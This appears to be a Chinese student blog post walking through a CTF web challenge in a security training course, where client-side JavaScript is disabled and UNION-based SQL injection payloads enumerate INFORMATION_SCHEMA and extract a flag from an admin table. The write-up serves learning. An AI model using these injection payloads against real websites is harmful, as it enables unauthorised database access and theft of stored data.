信息安全专业实训-Day5

今天主要进行CTF之Web渗透

 

白云新闻搜索

首先,我们准备试试能不能用sql注入的方式去攻击网站,先看看靶站的网页源代码

1a72d274bbfc4670a766c9fca4f2c942.jpg

 看到<script>这里,有符号数字和字母,那么我们只要禁用这个网站的<script>就可以试试用sql注入的方式攻击网站。

点击浏览器右上角三个点,选择设置,进入隐私和安全,

7beeecb0b7cc4c0395ab073101f4bca5.jpg

 进入网站设置,找到javascript,然后将靶机的网址输入到不允许使用javascript这个选项

92c0e34b457c428bb8a881dae4a9e452.jpg

 然后,我们就可以尝试sql注入了。

1284f1cd896d43d182f3d34247c04844.jpg

可以发现该网页显示了搜索内容,而且还超过了限制的条数。可以猜测这个网站的sql语句大概为

select xxx from xxx where xxx = '关键字' limit 5;

接着我们尝试用union来查找该sql有哪些字段

' union select 1.1.1 from INFORMATION_SCHEMA.TABLES -- '

24a7a6fe6f38445e87021d217c5b638d.jpg

 查询的结果为,可以看到结尾出现了我们刚刚输入的字段,那我们可以顺着查找表,

' union select 1.1.table_name from INFORMATION_SCHEMA.COLUMNS -- '

55bac1b4d74a4ed490ecaeabe74c3299.jpg

 查找到表后,我们发现了一个重要的表:admin,然后我们可以查询一下这张表的字段

' union select 1,1,COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS --'

535c499d5a884ba8b48aa247b3a5d764.jpg

查找完字段后,我们发现有flag,之后就根据字段来查找表数据

'union select 1,1,flag from admin --'

5940d0bdb964445f8992ee8c48c476dd.jpg

 之后查找到flag{fabbf4abe040f2fdac8234099facdccb}

一周的实训课已经结束,这一周里,不仅学习了web的相关漏洞,还学习了有关ctf比赛的一些内容,实在是让我受益匪浅,收获满满,今后我也会在专业领域继续我的探索和学习!

 

 

  • 10
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值